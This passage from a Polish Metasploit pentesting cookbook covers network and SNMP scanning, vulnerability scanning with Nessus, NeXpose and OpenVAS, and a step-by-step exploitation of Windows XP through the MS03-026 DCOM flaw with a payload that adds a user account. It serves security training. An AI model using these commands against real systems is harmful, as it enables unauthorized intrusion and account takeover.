Zobacz również Skaner ScanSSH umożliwia skanowanie listy adresów i sieci pod kątem otwartych serwerów proxy, serwerów SSH, serwerów WWW oraz serwerów SMTP. Jeśli to możliwe, skaner ScanSSH wyświetla numer wersji uruchomionych usług. Skaner protokołowy ScanSSH obsługuje losowy wybór adresów IP i jest użyteczny podczas gromadzenia statystyk na temat wdrażania serwerów protokołu SSH w danym przedsiębiorstwie. Więcej szczegółów znajdziesz na stronie: http://www.ubuntugeek.com/scanssh-fast-ssh-server-and-open-proxy-scanner.html.
Skanowanie FTP W tej recepturze wykorzystamy skaner nmap do przeskanowania wszystkich otwartych serwerów FTP w sieci.
Przygotuj się Narzędzie nmap uruchamiamy z konsoli msfconsole, tak jak pokazano poniżej: msf>nmap
Jak to wykonać Aby przeskanować serwery FTP w sieci, wykonaj w oknie terminala następujące polecenie: Nmap –p 21 –v –oN rezultaty.txt –open –script ftp-anon 192.169.1.0/24
W ten sposób wyniki zostaną zapisane w pliku tekstowym o nazwie rezultaty.txt wskazanym w powyższym skrypcie.
Jak to działa Jeśli znajdziemy w sieci jakiś otwarty serwer FTP z włączonym dostępem anonimowym, otrzymamy poniższe informacje: Host is up (0.00s latency). PORT STATE SERVICE 21/tcp open ftp | ftp-anon: Anonymous FTP login allowed (FTP code 230) |_-r–r–r– 1 ftp ftp 504 Nov 08 16:12
62
Rozdział 2. • Zbieranie informacji oraz skanowanie
Zamiatanie SNMP Protokół SNMP (ang. Simple Network Management Protocol) jest wykorzystywany w urządzeniach sieciowych do zdalnego odczytywania, zapisywania i aktualizowania konfiguracji. Zamiatanie SNMP (ang. SNMP sweeping) jest często dobrym narzędziem do znajdowania dużej ilości informacji o konkretnym systemie lub do łamania zabezpieczeń zdalnego urządzenia. W tej recepturze nauczysz się używać modułu skanującego SNMP.
Przygotuj się Metasploit posiada wbudowany moduł pomocniczy, przeznaczony specjalnie do zamiatania SNMP urządzeń w sieci. Zanim przeprowadzisz atak, musisz zdać sobie sprawę z jednej rzeczy. Przede wszystkim hasła community strings tylko do odczytu (ang. read-only — RO) oraz do odczytu i zapisu (ang. read-write — RW) odgrywają istotną rolę w przypadku informacji, które mogą być eksploatowane lub zmienione w samych urządzeniach. Interfejs bazy danych MIB (ang. Management Information Base), czyli bazy danych informacji zarządzania, pozwala kwerendować urządzenia i pozyskiwać z nich informacje. Jeśli masz do czynienia z urządzeniami opartymi na systemie Windows ze skonfigurowanym protokołem SNMP, często przy pomocy haseł community strings z opcją RO/RW możesz uzyskać informacje o poziomach zainstalowanych poprawek, uruchomionych usługach, czasach ostatnich restartów, nazwach użytkowników systemu, trasach i rozmaitych innych aspektach, które mają istotne znaczenie przy łamaniu zabezpieczeń.
Podczas kwerendowania z wykorzystaniem protokołu SNMP mamy do czynienia z interfejsem API MIB, czyli interfejsem bazy danych informacji zarządzania. Pozwala on kwerendować urządzenia i uzyskiwać z nich informacje. Framework Metasploit posiada listę domyślnych baz MIB w swojej bazie danych. W zależności od tego, czy został uzyskany pasek dostępu, są one używane do kwerendowania urządzeń w celu uzyskania większej ilości informacji.
Jak to wykonać Przy użyciu modułów skanujących SNMP możesz zebrać sporo informacji, takich jak otwarte porty, usługi, nazwy hostów, procesy oraz czas pracy. W tym celu uruchomimy moduł snmp_enum i zobaczymy, jakich informacji nam dostarczy. Najpierw ładujemy moduł i ustawiamy opcję RHOST, używając informacji przechowywanej w obszarze roboczym. Zastosowanie parametru hosts -R ustawi tę opcję. Zobaczmy, jak to działa: Aby skorzystać z modułu snmp_enum, użyj modułu pomocniczego w sposób
następujący:
63
Metasploit. Receptury pentestera
use auxiliary/scanner/snmp/snmp_enum set rhost
64
Rozdział 2. • Zbieranie informacji oraz skanowanie
ksoftirqd/0 5 runnable watchdog/0 watchdog/0 6 runnable events/0 even ts/0 7 runnable khelper khelper 41 runnable kblockd/0 kbloc kd/0 68 runnable kseriod kseriod ...fragment usunięty... 5696 runnable su su 5697 runnable bash bash 5747 running snmpd snmpd [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed
Jak to działa W efekcie tego skanowania otrzymujemy wiele informacji o systemie. Mimo usunięcia pewnych fragmentów danych wynikowych wciąż otrzymujemy dużo informacji, takich jak typ procesora, identyfikatory procesów itd.
Skanowanie luk w zabezpieczeniach za pomocą narzędzia Nessus Dotychczas nauczyliśmy się podstaw skanowania portów, a także praktycznej implementacji narzędzia nmap. Skanowanie portów zostało rozszerzone o kilka innych narzędzi, które dodatkowo usprawniają proces zbierania informacji. W następnych kilku recepturach zajmiemy się narzędziami skanującymi cel w poszukiwaniu dostępnych usług i otwartych portów, a następnie próbującymi określić rodzaj luki w zabezpieczeniach, która może istnieć dla danej usługi czy portu. Rozpocznijmy więc przygodę ze skanowaniem luk w zabezpieczeniach. Narzędzie Nessus jest najszerzej stosowanym skanerem luk w zabezpieczeniach. Skanuje cel pod kątem zakresu luk w zabezpieczeniach i tworzy szczegółowy raport na ten temat. Nessus jest bardzo przydatnym narzędziem do testów penetracyjnych. Możesz użyć wersji narzędzia z interfejsem graficznym (GUI) albo uruchomić je z poziomu konsoli frameworku Metasploit. W tej książce przede wszystkim skoncentrujemy się na stosowaniu narzędzia Nessus za pomocą konsoli msfconsole.
65
Metasploit. Receptury pentestera
Przygotuj się Aby rozpocząć pracę z narzędziem Nessus z poziomu konsoli msfconsole, przed rozpoczęciem testu penetracyjnego będziemy musieli je uruchomić i połączyć z serwerem. Najpierw połączymy naszą bazę danych z Metasploit, aby zapisywać w niej tymczasowe wyniki. Proces uruchamiania i łączenia się z bazą danych we frameworku Metasploit został wyjaśniony w rozdziale 1. Po połączeniu z bazą danych naszym kolejnym zadaniem jest załadować wtyczkę narzędzia Nessus.
Jak to wykonać Aby skorzystać z narzędzia Nessus, wykonaj następujące czynności: 1. Aby połączyć się z bazą danych i załadować narzędzie Nessus we frameworku Metasploit, wykonamy poniższe polecenia: msf > db_connect msf3:[email protected]:7175/msf3 msf > load nessus [*] Nessus Bridge for Nessus 4.2.x [+] Type nessus_help for a command listing [*] Successfully loaded plugin: nessus
2. Po pomyślnym załadowaniu Nessusa będziemy musieli połączyć go z serwerem. W tym celu stosuje się następujące polecenie: msf > nessus_connect root:toor@localhost ok [*] Connecting to https://127.0.0.1:8834/ as root [*] Authenticated
W powyższym poleceniu ok jest dodatkowym parametrem, który ma zapewnić, że serwer Nessus zostanie uruchomiony w zaufanej sieci. W Nessusie możesz sprawdzić listę dostępnych użytkowników za pomocą komendy nessus_ user_list. Za pomocą polecenia nessus_user_add możesz również dodać nowego użytkownika. Stosując komendę nessus_policy_list, możemy sprawdzić listę reguł dostępnych na serwerze.
Jak to działa Po połączeniu narzędzia Nessus z serwerem możesz je wykorzystać do skanowania maszyn docelowych. Proces skanowania jest prosty i szybki. Przeprowadźmy szybkie skanowanie celu, aby zobaczyć, jak działa skanowanie za pomocą Nessusa. Aby rozpocząć skanowanie, będziemy musieli wprowadzić następujące polecenia:
66
Rozdział 2. • Zbieranie informacji oraz skanowanie
msf > nessus_scan_new 1 testscan 192.168.56.102 [*] Creating scan from policy number 1, called "testscan" and scanning 192.168.56.102 [*] Scan started. uid is 9d337e9b-82c7-89a1-a194-4ef154b82f624de2444e6ad18a1f //Po zakończeniu skanowania kolejnym celem będzie zaimportowanie listy wygenerowanej przez // Nessusa. Sprawdźmy dostępną listę: msf > nessus_report_list [+] Nessus Report List ID Name Status --------9d337e9b-82c789a1-a19-4ef154b82 testscan completed f624de2444e6ad18a1f
Kolumna ID zawiera odniesienie do raportu, który został wygenerowany w wyniku skanowania. Zaimportujmy teraz ten raport, stosując poniższe polecenie: msf > nessus_report_get 9d337e9b-82c7-89a1-a1944ef154b82f624de2444e6ad18a1f [*] importing 9d337e9b-82c7-89a1-a1944ef154b82f624de2444e6ad18a1f
Po zaimportowaniu raportu możesz go obsługiwać za pomocą poleceń konsoli i przeanalizować, aby poznać słabe punkty w celu. Aby przejrzeć luki w zabezpieczeniach celu, uruchom następujące polecenie: msf> hosts –c address, vuls, os_name
Zobacz również Omówmy teraz pokrótce obsługę narzędzia Nessus w trybie GUI.
Praca z narzędziem Nessus w przeglądarce internetowej Narzędzie Nessus może być również używane w trybie interfejsu graficznego, który jest tak samo wszechstronny i łatwy w użyciu jak tryb konsoli. Jeśli używasz Nessusa po raz pierwszy, będziesz musiał się zarejestrować i otrzymać kod rejestracyjny ze strony producenta narzędzia. Zarejestrować możesz się na stronie http://www.nessus.org/register/. Po zakończeniu rejestracji musisz uruchomić Nessusa i podać kod rejestracyjny. Wybierz Menu programu uruchamiającego/BackTrack/Vulnerability Assessment/Network Assessment/Vulnerability Scanners/Nessus/nessus start. Podczas uruchamiania narzędzia Nessus może się pojawić następujący komunikat błędu: Starting Nessus : . //Uruchamianie Nessusa : Missing plugins. Attempting a plugin update... //Brakuje wtyczek. Przygotowanie aktualizacji wtyczek… Your installation is missing plugins. Please register and try again.
67
Metasploit. Receptury pentestera
//Twoja instalacja nie zawiera wtyczek. Zarejestruj się i spróbuj ponownie. To register, please visit http://www.nessus.org/register/ //Aby się zarejestrować, odwiedź stronę: http://www.nessus.org/register/
Błąd został wygenerowany, ponieważ narzędzie Nessus nie jest jeszcze zarejestrowane. Aby się zarejestrować, musisz użyć kodu rejestracyjnego, który otrzymałeś pocztą elektroniczną od producenta narzędzia. Poniższe polecenie pomoże zakończyć proces rejestracji: /opt/nessus/bin/nessus-fetch –register YOUR REGISTRATIN CODE root@bt:~# /opt/nessus/bin/nessus-fetch --register E8A5-5367-982E-05CB972A Your activation code has been registered properly - thank you. //Twój kod aktywacyjny został zarejestrowany prawidłowo — dziękujemy. Now fetching the newest plugin set from plugins.nessus.org... //Pobieranie najnowszego zestawu wtyczek ze strony http://plugins.nessus.org… Your Nessus installation is now up-to-date. //Twoja instalacja Nessusa została zaktualizowana. If auto_update is set to 'yes' in nessusd.conf, Nessus will update the plugins by itself. // Jeśli opcja auto_update jest ustawiona na „tak” w pliku nessus.conf, Nessus zaktualizuje wtyczki // samodzielnie.
Teraz uruchom przeglądarkę i wprowadź adres https://localhost:8834. Jeśli uruchamiasz Nessusa w przeglądarce po raz pierwszy, musisz się uzbroić w cierpliwość, ponieważ może to zająć nieco czasu.
Skanowanie za pomocą narzędzia NeXpose W poprzedniej recepturze omówiliśmy narzędzie Nessus, jako jeden z możliwych do wykorzystania skanerów luk w zabezpieczeniach. W tej recepturze zajmiemy się innym ważnym skanerem luk w zabezpieczeniach, który nosi nazwę NeXpose. NeXpose jest popularnym narzędziem firmy Rapid7, które umożliwia skanowanie luk w zabezpieczeniach i importowanie wyników do bazy danych frameworku Metasploit. Z narzędzia NeXspose korzysta się w podobny sposób jak z Nessusa, ale zacznijmy od podstaw. Tajniki korzystania z NeXpose zgłębisz już sam.
68
Rozdział 2. • Zbieranie informacji oraz skanowanie
Przygotuj się Aby uruchomić narzędzie NeXpose z poziomu konsoli msfconsole, najpierw musimy połączyć bazę danych z Metasploit, a następnie uruchomić wtyczkę, aby połączyć framework z serwerem NeXpose i rozpocząć proces skanowania celu. Przeprowadźmy te czynności w wierszu poleceń: msf > db_connect msf3:[email protected]:7175/msf3 msf > load nexpose msf > nexpose_connect darklord:toor@localhost ok [*] Connecting to NeXpose instance at 127.0.0.1:3780 with username darklord...
Jak to wykonać Teraz, kiedy jesteśmy połączeni z serwerem, możemy skanować cel i generować raporty. Istnieją dwa polecenia skanowania obsługiwane przez narzędzie NeXpose. Jednym jest polecenie nexpose_scan, a drugim nexpose_discover. Pierwsze polecenie skanuje zakres adresów IP i importuje wyniki, podczas gdy drugie przeprowadza tylko skanowanie w celu wykrycia hostów i usług na nich uruchomionych. Przeprowadźmy krótkie skanowanie celu za pomocą narzędzia NeXpose: msf > nexpose_discover 192.168.129.138 [*] Scanning 1 addresses with template aggressive-discovery in sets of 32 [*] Completed the scan of 1 addresses
Jak to działa Po zakończeniu skanowania możesz przejrzeć wyniki z poziomu msfconsole, stosując domyślne komendy bazodanowe. Zobaczmy, jakie wyniki skanowania zostały wygenerowane przez narzędzie NeXpose: msf > hosts -c address,os_name,os_flavor Hosts ===== address os_name os_flavor --------------------192.168.129.138 Microsoft Windows XP msf >
69
Metasploit. Receptury pentestera
Zobacz więcej Końcowym etapem po zebraniu informacji będzie zaimportowanie wyników. Zobaczmy, jak się to robi.
Importowanie wyników skanowania Możesz pominąć ten fragment, jeśli używasz narzędzi Nessus i NeXpose z poziomu konsoli msfconsole. Kiedy używasz narzędzia Nessus czy NeXpose w wersji z interfejsem graficznym, musisz ręcznie zaimportować wyniki skanowania do bazy danych. Powód, dla którego przykładamy wagę do importowania i przechowywania wyników, zostanie wyjaśniony w następnym rozdziale, z którego dowiesz się, w jaki sposób użyć polecenia autopwn, aby automatycznie uruchamiać exploity na hostach obecnych w bazie danych. Aby więc zaimportować wyniki skanowania, użyjemy polecenia db_import w sposób następujący: msf > db_import nexposelist.xml [*] Importing 'Nexpose XML (v2)' data [*] Importing host 192.168.129.138 [*] Successfully imported /root/nexposelist.xml
Skanowanie luk w zabezpieczeniach za pomocą narzędzia OpenVAS Narzędzie OpenVAS (ang. Open Vulnerability Assessment System) jest najbardziej rozpowszechnionym oprogramowaniem typu open source służącym do skanowania luk w zabezpieczeniach i zarządzania nimi. Silnik skanowania tego narzędzia jest wykorzystywany i wspierany przez firmę Greenbone Security Solutions. Od 2005 r. zespół programistów firmy Greenbone ma swój znaczący wkład w ulepszanie narzędzia OpenVAS.
Przygotuj się Narzędzie możesz znaleźć, wybierając Menu programu uruchamiającego/BackTrack/Vulnerability Assessment/Vulnerability Scanners/OpenVAS. Zaleca się pobrać najnowszą wersję pliku instalacyjnego narzędzia OpenVAS:
70
Rozdział 2. • Zbieranie informacji oraz skanowanie
Jak to wykonać W tej recepturze wykonamy następujące czynności: 1. Najpierw upewnij się, że skrypt jest wykonywalny. Użyj do tego następującego polecenia: chmod +x openvas-check-setup
Następnie uruchom skrypt za pomocą komendy: ./openvas-check-setup
Po uruchomieniu skryptu dodamy użytkownika za pomocą opcji Adduser z menu narzędzia OpenVAS przedstawionego w punkcie „Przygotuj się”. Załóżmy, że dodaliśmy użytkownika root z hasłem toor, aby uniknąć jakichkolwiek nieporozumień1. 2. Teraz utwórz certyfikat, wybierając z tego samego menu OpenVAS opcję Mkcert (patrz rysunek następnej stronie). 3. Kolejnym etapem jest synchronizacja z bazą NVT (ang. Network Vulnerability Tests), czyli bazą testów luk w zabezpieczeniach sieci. Ten skrypt synchronizuje bazę NVT z kanałem OpenVAS (ten kanał jest częścią projektu OpenVAS). Aby uzyskać więcej informacji na ten temat, odwiedź stronę: http://www.openvas.org/openvas-nvt-feed.html.
1
W razie problemów może być konieczne utworzenie użytkownika Admin za pomocą polecenia openvasad -c 'adduser' -n
71
Metasploit. Receptury pentestera
4. Teraz załaduj wszystkie wtyczki za pomocą polecenia Start OpenVAS Scanner z menu narzędzia OpenVAS, a następnie skonfiguruj menadżer narzędzia OpenVAS za pomocą polecenia Start OpenVAS Manager:
Teraz musisz odnowić bazę danych, ponieważ nie za7wiera najnowszych rekordów NVT i mogłyby pojawić się błędy. Można to zrobić prostym poleceniem openvasmd --rebuild.
72
Rozdział 2. • Zbieranie informacji oraz skanowanie
Po przygotowaniu menadżera OpenVAS skonfigurujemy asystenta Greenbone Security za pomocą polecenia Start Geenbone Security Assistant z menu narzędzia OpenVAS:
5. Teraz możemy się zalogować za pomocą interfejsu Greenbone Security Desktop, wybierając z menu opcję Start Greenbone Security Desktop:
73
Metasploit. Receptury pentestera
Jak to działa Po pomyślnej konfiguracji wszystkich ustawień dotyczących narzędzia OpenVAS możesz zalogować się za pomocą ustalonych nazwy użytkownika oraz hasła i rozpocząć skanowanie. Na poniższym rysunku przedstawiono widok po zalogowaniu za pomocą interfejsu WWW do narzędzia Greenbone Security Assistant:
Jesteśmy teraz gotowi, aby przeprowadzać skanowanie.
74
3 Ocena podatności na ataki na podstawie systemu operacyjnego W tym rozdziale: 1. Testy penetracyjne maszyny docelowej z systemem Windows XP SP2 2. Uzyskiwanie zdalnego dostępu poprzez wiązanie powłoki na maszynie docelowej 3. Testy penetracyjne systemu Windows 8 4. Eksploatacja maszyny docelowej z systemem Linux (Ubuntu) 5. Wstrzykiwanie bibliotek DLL w systemie Windows
Wprowadzenie W poprzednim rozdziale skupiliśmy się na zbieraniu informacji o celu, takich jak adres IP celu, otwarte porty, dostępne usługi, system operacyjny itd. Jednym z najcenniejszych zasobów w procesie zbierania informacji jest pozyskiwanie wiedzy na temat systemu operacyjnego używanego przez serwer docelowy lub system. Te informacje mogą okazać się bardzo pomocne w testach penetracyjnych maszyny docelowej, ponieważ możemy szybko znaleźć exploit i luki w zabezpieczeniach używanego systemu operacyjnego. Co prawda nie jest to tak proste, jak się wydaje, ale wiedza na temat docelowego systemu operacyjnego może w dużym stopniu ułatwić nasze zadanie.
Metasploit. Receptury pentestera
Każda nowa wersja systemu operacyjnego zawiera ten czy inny błąd. Po jej opublikowaniu rozpoczyna się proces tworzenia exploitów dla danego systemu. Producenci licencjonowanych systemów operacyjnych, takich jak Windows, szybko przygotowują poprawki błędów lub luk w zabezpieczeniach i dostarczają je użytkownikom w postaci aktualizacji. Obecnie ujawnianie luk w zabezpieczeniach stanowi spory problem. Duża liczba ujawnianych przed premierą systemu luk w zabezpieczeniach tworzy spustoszenie w branży komputerowej. Przedpremierowe luki w zabezpieczeniach (ang. zero-day vulnerabilities) są bardzo poszukiwane na czarnym rynku. Ich cena może się wahać od 150 000 do 300 000 zł. Luki w zabezpieczeniach są wykrywane i eksploatowane, ale ich ujawnianie zależy od intencji odkrywców. Firmy takie jak Microsoft czy Adobe publikują poprawki do swoich dobrze znanych produktów w regularnych odstępach czasu, ale to od użytkownika zależy, czy zechce je zainstalować. W warunkach korporacyjnych jest jeszcze gorzej — mijają tygodnie, zanim serwery zostaną zaktualizowane, ponieważ wiąże się to z przestojami w pracy serwerów oraz obawami o zakłócenie bieżącego funkcjonowania przedsiębiorstwa. Zaleca się więc przeprowadzać aktualizacje lub zwracać uwagę na najnowsze ujawnione luki w zabezpieczeniach w używanym systemie operacyjnym. Niezaktualizowane systemy są bezpieczną przystanią dla hakerów, którzy mogą natychmiast uruchomić exploity, aby złamać zabezpieczenia celu. Dlatego regularne instalowanie poprawek i aktualizowanie systemu to kluczowe kwestie. W tym rozdziale skoncentrujemy się na lukach w zabezpieczeniach wykrywanych w jednych z najpopularniejszych systemów operacyjnych. Kiedy podczas przeprowadzania testów penetracyjnych uzyskana zostanie informacja o systemie operacyjnym, pentester rozpoczyna poszukiwanie exploitów dla konkretnych wad tego systemu. Dlatego ten rozdział będzie pierwszym krokiem w kierunku penetracji celu poprzez luki w zabezpieczeniach systemów operacyjnych. Skoncentrujemy się na jednych z najszerzej używanych wersji domowych i korporacyjnych systemów operacyjnych firmy Microsoft oraz na pewnych wersjach systemu operacyjnego Linux. Przyjrzymy się także temu, w jaki sposób używać exploitów i konfigurować ich parametry, aby można je było uruchamiać na maszynie docelowej. Ostatnia, ale nie mniej istotna kwestia to użyteczne ładunki (ang. payloads) dostępne we frameworku Metasploit. Przejdźmy do poszczególnych receptur. Przed rozpoczęciem stosowania exploitów i ładunków na maszynach docelowych musimy najpierw poznać podstawy. Bardzo istotne jest, aby zrozumieć, w jaki sposób korzystać z exploitów. Dzięki temu będziesz mógł uniknąć pewnych powszechnych błędów, które mogą być następstwem złej konfiguracji parametrów. Przejdźmy więc do podstaw stosowania exploitów oraz sposobu konfiguracji wartości parametrów. Aby rozpocząć wykorzystywanie exploitów na docelowych systemach, na początek należy przeskanować cel pod kątem otwartych portów i uruchomionych usług. Po zebraniu wystarczających informacji o celu kolejnym krokiem jest dobranie odpowiednich exploitów. Przeanalizujmy więc niektóre polecenia exploitów, uruchamiane bezpośrednio z poziomu konsoli msfconsole.
76
Rozdział 3. • Ocena podatności na ataki na podstawie systemu operacyjnego
Oto lista poleceń, które będą pomocne podczas korzystania z exploitów: 1. msf > show exploits oraz msf > show payloads. Te dwa polecenia wyświetlą wszystkie dostępne w katalogu frameworku Metasploit exploity i ładunki. 2. msf > search exploit. To polecenie wyszuka konkretny exploit. Możemy również użyć tego polecenia do wyszukiwania według dowolnych kryteriów. Polecenie powinno być wprowadzone w następujący sposób: msf > search nazwa_exploita lub poszukiwany_termin msf > search ms03_026_dcom Matching Modules ================ Name Disclosure Date Rank Description ------------------ ---- ----------exploit/windows/dcerpc/ms03_026_dcom 2003-07-16 great Microsoft RPC DCOM
msf > use exploit. To polecenie jest używane, aby ustawić dowolny exploit
jako aktywny i gotowy do użycia. Polecenie jest wprowadzane w sposób następujący: msf > use exploit nazwa
Po uruchomieniu tego polecenia zmieni się również znak zachęty, wskazując rodzaj użytego exploita: msf > use exploit/windows/dcerpc/ms03_026_dcom msf exploit(ms03_026_dcom) >
show options. To polecenie jest stosowane do sprawdzenia dostępnych opcji
lub parametrów używanego exploita. Poszczególne parametry to adres IP hosta, port, wątki itd. Parametry oznaczone wpisem yes (tak) muszą posiadać wartość, aby można było uruchomić dany exploit: msf exploit(ms03_026_dcom) > show options Module Name ---RHOST RPORT
options (exploit/windows/dcerpc/ms03_026_dcom): Current Setting Required Description --------------- -------- ----------yes The target address 135 yes The target port
set. To polecenie jest stosowane, aby ustawić wartość parametru wykorzystywanego
exploita. Jest również używane do zdefiniowania ładunku dla tego konkretnego exploita. Polecenie może być wprowadzone w następujący sposób: msf > set nazwa_parametru wartość_parametru
Poniżej zamieszczono przykład zastosowania polecenia set (w podobny sposób możesz użyć również polecenia unset): msf exploit(ms03_026_dcom) > set RHOST 102.168.56.102 RHOST => 102.168.56.102 msf exploit(ms03_026_dcom) >
77
Metasploit. Receptury pentestera
Istnieją opcjonalne komendy, takie jak setg i unsetg, które są używane, kiedy musimy ustawić globalnie wartość parametru w konsoli msfconsole. Oszczędza nam to konieczności ponownego wprowadzania tej samej wartości. show targets. Każdy exploit został zaprojektowany do atakowania konkretnej usługi celu. To polecenie wyświetla informacje, na jakich potencjalnie celach dany exploit może zostać użyty: msf exploit(ms03_026_dcom) > show targets Exploit targets: Id Name -- ---0 Windows NT SP3-6a/2000/XP/2003 Universal
Jak możesz zauważyć, exploit dcom jest dostępny dla kilku wersji systemów Windows. W rozdziale 1. omawialiśmy modułową architekturę frameworku Metasploit. Exploity są konwertowane do postaci zrozumiałego dla frameworku modułu, który może działać z nim w zgodzie. W celu załadowania i skonfigurowania modułu wywoływane są różne polecenia. Interfejs wiersza poleceń konsoli msfconsole ułatwia zarówno dostęp do różnych modułów, jak i przeprowadzenie testów penetracyjnych.
Testy penetracyjne maszyny docelowej z systemem Windows XP SP2 Sprawdźmy teraz własnoręcznie, jak funkcjonuje świat exploitów. Na początek zajmiemy się najbardziej podstawowym, ale wciąż najszerzej używanym systemem operacyjnym, jakim jest Windows XP. W tej recepturze zobaczymy, jak można wykorzystać framework Metasploit, aby włamać się do systemu docelowego, którym jest maszyna Windows XP. Będziemy używać poleceń, które poznaliśmy w poprzednim podrozdziale, a następnie przejdziemy do wyboru exploitów i ładunków oraz konfiguracji rozmaitych wymaganych parametrów.
Przygotuj się Rozpoczniemy testy penetracyjne od konsoli msfconsole. Uruchom więc konsolę i przeprowadź skanowanie portów, aby zebrać informacje o celu. Skanowanie portów zostało omówione szczegółowo w poprzednim rozdziale. Przyjmijmy więc, że zgromadziłeś informacje o maszynie docelowej, na której uruchomionym systemem operacyjnym jest Windows XP. Przejdźmy do wyboru exploitów i ładunków.
78
Rozdział 3. • Ocena podatności na ataki na podstawie systemu operacyjnego
Jak to wykonać Aby przeprowadzić testy penetracyjne na maszynie z systemem Windows XP SP2, wykonaj następujące czynności: Podstawowym zadaniem jest wybór exploita, który może zostać użyty na maszynie z systemem Windows XP. Możesz przejrzeć folder /exploits/windows lub po prostu przeprowadzić wyszukiwanie dostępnych exploitów dla systemu Windows XP. Do penetracji celu będziemy używać luk w zabezpieczeniach typu RPC dcom. Poszukajmy więc tego rodzaju luk, stosując poniższe polecenie: msf exploit(ms03_026_dcom) > search dcom Matching Modules ================ Name Disclosure Date -----------------exploit/windows dcerpc/ms03_026_dcom 2003-07-16 exploit/windows/driver/ broadcom_wifi_ssid 2006-11-11 exploit/windows/ smb/ms04_031_netdde 2004-10-12
Rank ---
Description -----------
great
Microsoft RPC
low
Broadcom Wireless
good
Microsoft NetDDE
Jak widzisz, otrzymaliśmy trzy wyniki wyszukiwania. Wykorzystamy pierwszy exploit, ponieważ jego ranga (ang. rank) to great (wspaniały), co oznacza, że będzie miał lepszy wskaźnik skuteczności. Aby użyć exploita exploit/windows/dcerpc/ms03_026_dcom, wykonamy następujące polecenie: msf exploit(ms03_026_dcom) > use exploit/windows/dcerpc/ms03_026_dcom msf exploit(ms03_026_dcom) >
Zmiana w znaku zachęty oznacza, że polecenie zostało wykonane pomyślnie. Następnym etapem jest konfiguracja rozmaitych parametrów exploita. Polecenie show options wyświetli listę dostępnych parametrów exploita. Następnie, stosując polecenia set, możemy skonfigurować te parametry. Niektóre z nich będą miały wartości domyślne: msf exploit(ms03_026_dcom) > show options Module options (exploit/windows/dcerpc/ms03_026_dcom): Name Current Setting Required Description ----------------------------------RHOST yes The target address RPORT 135 yes The target port
79
Metasploit. Receptury pentestera
Exploit target: Id -0
Name ---Windows NT SP3-6a/2000/XP/2003 Universal
W powyższym listingu parametr RHOST wskazuje adres IP zdalnego hosta, a RPORT domyślny port wiązania. Wartość parametru RPORT została domyślnie ustawiona na 135. Aby uruchomić exploit, będziemy musieli dla parametru RHOST ustawić adres IP celu: msf exploit(ms03_026_dcom) > set RHOST 192.168.56.102 RHOST => 192.168.56.102 msf exploit(ms03_026_dcom) > Zwróć uwagę, że exploit ms03_026_dcom posiada wartość ID ustawioną na 0. To oznacza, że nie musimy określać, która wersja systemu Windows jest uruchomiona na maszynie docelowej. Eksploatacja może zostać przeprowadzona na maszynie z dowolną wersją systemu Windows wymienioną na liście. Dla innego rodzaju exploita może zajść konieczność wybrania docelowego systemu operacyjnego za pomocą polecenia show targets.
Teraz wartość RHOST została ustawiona jako docelowy adres IP. Jeśli spróbujemy uruchomić exploit, pojawi się komunikat błędu, ponieważ nie wybraliśmy jeszcze żadnego ładunku dla exploita. Kolejnym krokiem jest wybranie odpowiedniego ładunku. Możemy użyć polecenia show payloads, aby wyświetlić listę wszystkich dostępnych ładunków. Rozpoczniemy prostym przykładem zastosowania ładunku windows/adduser. Ten ładunek doda nowego użytkownika w docelowym systemie operacyjnym: msf exploit(ms03_026_dcom) > set PAYLOAD windows/adduser PAYLOAD => windows/adduser Jeśli teraz ponownie użyjemy polecenia show options, wyświetli się lista
parametrów zarówno dla exploita, jak i ładunku. Parametry ładunku powinny wyglądać mniej więcej tak, jak widać poniżej: Payload options (windows/adduser): Name Current Setting Required ------------------ -------EXITFUNC thread yes PASS metasploit yes USER metasploit yes
Description ----------seh, thread, process, none password for this user The username to create
Możemy zobaczyć, że domyślnie nazwa użytkownika oraz hasło, które zostaną dodane do docelowego systemu operacyjnego, to odpowiednio metasploit i metasploit. Możemy zmienić te wartości za pomocą poleceń set PASS (ustaw hasło) oraz set USER (ustaw użytkownika).
80
Rozdział 3. • Ocena podatności na ataki na podstawie systemu operacyjnego
Teraz, kiedy ładunek został skonfigurowany, jesteśmy przygotowani do testów
penetracyjnych maszyny docelowej. Aby uruchomić exploit, użyjemy następującego polecenia: msf exploit(ms03_026_dcom) > exploit [*] Trying target Windows NT SP3-6a/2000/XP/2003 Universal... // Próba // namierzenia systemu Windows NT… [*] Binding to 4d9f4ab8-7d1c-11cf-861e0020af6e7c57:0.0@ncacn_ip_tcp:192.168.56.102[135] ... // Wiązanie z… [*] Bound to 4d9f4ab8-7d1c-11cf-861e0020af6e7c57:0.0@ncacn_ip_tcp:192.168.56.102[135] ... // Powiązano z… [*] Sending exploit ... // Wysyłanie exploita [*] Exploit completed, but no session was created. // Zakończono wykonywanie // exploita, ale sesja nie została utworzona.
Ostatni wiersz listingu wskazuje, że exploit został pomyślnie zainstalowany na maszynie docelowej. Zostanie teraz dodany na niej nowy użytkownik. W listingu znajdziesz również informację o tym, że nie została utworzona żadna sesja. Tak się stało, ponieważ użyliśmy prostego ładunku adduser, który nie wymaga żadnych aktywnych sesji. Dlatego po wykonaniu exploita połączenie z celem zostaje zakończone. W następnej recepturze użyjemy ładunku do skonfigurowania sesji.
Zobacz również Istnieje luka w zabezpieczeniach w usłudze zdalnego wywołania procedury (ang. Remote Procedure Call — RPC), która obsługuje wymianę komunikatów w protokole TCP/IP. Błąd powstaje w wyniku niewłaściwej obsługi zniekształconych komunikatów. Ta konkretna luka w zabezpieczeniach dotyczy interfejsu DCOM (ang. Distributed Component Object Model) z obsługą RPC, który nasłuchuje na włączonych portach RPC. Maszyna docelowa musi więc posiadać dostępny port z uruchomioną usługą RPC. Ten interfejs obsługuje żądania aktywacji obiektów typu DCOM, wysyłane przez maszyny klienckie do serwera. Atakujący, który pomyślnie wykorzystał tę lukę w zabezpieczeniach, będzie mógł na zaatakowanym systemie uruchomić kod z lokalnymi uprawnieniami systemowymi. Będzie w stanie podjąć w danym systemie dowolną akcję, taką jak instalowanie programów, przeglądanie, zmiana lub usuwanie danych czy tworzenie nowych kont z pełnymi uprawnieniami. Więcej informacji na temat tej luki w zabezpieczeniach znajdziesz w biuletynie Microsoft Security Bulletin MS03-026 na stronie http://technet.microsoft.com/en-us/security/bulletin/ms03-026. Teraz, aby zrozumieć działanie ładunku adduser, przeanalizujemy jego kod napisany w języku Ruby. Przejdźmy do lokalizacji ładunku:
81
Metasploit. Receptury pentestera
